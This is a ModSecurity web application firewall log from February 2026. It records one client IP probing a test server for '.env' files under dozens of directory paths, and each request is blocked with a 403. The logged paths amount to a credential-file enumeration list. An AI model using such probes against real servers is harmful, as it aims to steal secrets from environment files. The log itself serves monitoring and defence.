[Wed Feb 25 06:05:18.664421 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qAAAAAE&quot;]
[Wed Feb 25 06:05:18.664463 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /manual/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAQAAAAY&quot;]
[Wed Feb 25 06:05:18.664698 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAQAAAAY&quot;]
[Wed Feb 25 06:05:18.664865 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAQAAAAY&quot;]
[Wed Feb 25 06:05:18.709003 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ledger_sync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qQAAAAE&quot;]
[Wed Feb 25 06:05:18.709267 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qQAAAAE&quot;]
[Wed Feb 25 06:05:18.709453 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19qQAAAAE&quot;]
[Wed Feb 25 06:05:18.774725 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /master/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAgAAAAY&quot;]
[Wed Feb 25 06:05:18.775089 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAgAAAAY&quot;]
[Wed Feb 25 06:05:18.775329 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAgAAAAY&quot;]
[Wed Feb 25 06:05:18.845998 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /media/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAwAAAAY&quot;]
[Wed Feb 25 06:05:18.846270 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAwAAAAY&quot;]
[Wed Feb 25 06:05:18.846483 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaAwAAAAY&quot;]
[Wed Feb 25 06:05:18.884882 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /memcached/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBAAAAAY&quot;]
[Wed Feb 25 06:05:18.885321 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBAAAAAY&quot;]
[Wed Feb 25 06:05:18.885581 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBAAAAAY&quot;]
[Wed Feb 25 06:05:18.914537 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mentorg-lava-docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBQAAAAY&quot;]
[Wed Feb 25 06:05:18.914951 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBQAAAAY&quot;]
[Wed Feb 25 06:05:18.915228 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DDvjNQqDNAmB2zjqaBQAAAAY&quot;]
[Wed Feb 25 06:05:19.026328 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rAAAAAE&quot;]
[Wed Feb 25 06:05:19.026750 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rAAAAAE&quot;]
[Wed Feb 25 06:05:19.026974 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rAAAAAE&quot;]
[Wed Feb 25 06:05:19.043246 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react-communication/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBgAAAAY&quot;]
[Wed Feb 25 06:05:19.043655 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBgAAAAY&quot;]
[Wed Feb 25 06:05:19.043927 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBgAAAAY&quot;]
[Wed Feb 25 06:05:19.048977 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rQAAAAE&quot;]
[Wed Feb 25 06:05:19.049246 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rQAAAAE&quot;]
[Wed Feb 25 06:05:19.049426 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rQAAAAE&quot;]
[Wed Feb 25 06:05:19.076956 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-fr-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rgAAAAE&quot;]
[Wed Feb 25 06:05:19.077371 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rgAAAAE&quot;]
[Wed Feb 25 06:05:19.077673 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rgAAAAE&quot;]
[Wed Feb 25 06:05:19.091798 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBwAAAAY&quot;]
[Wed Feb 25 06:05:19.092070 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBwAAAAY&quot;]
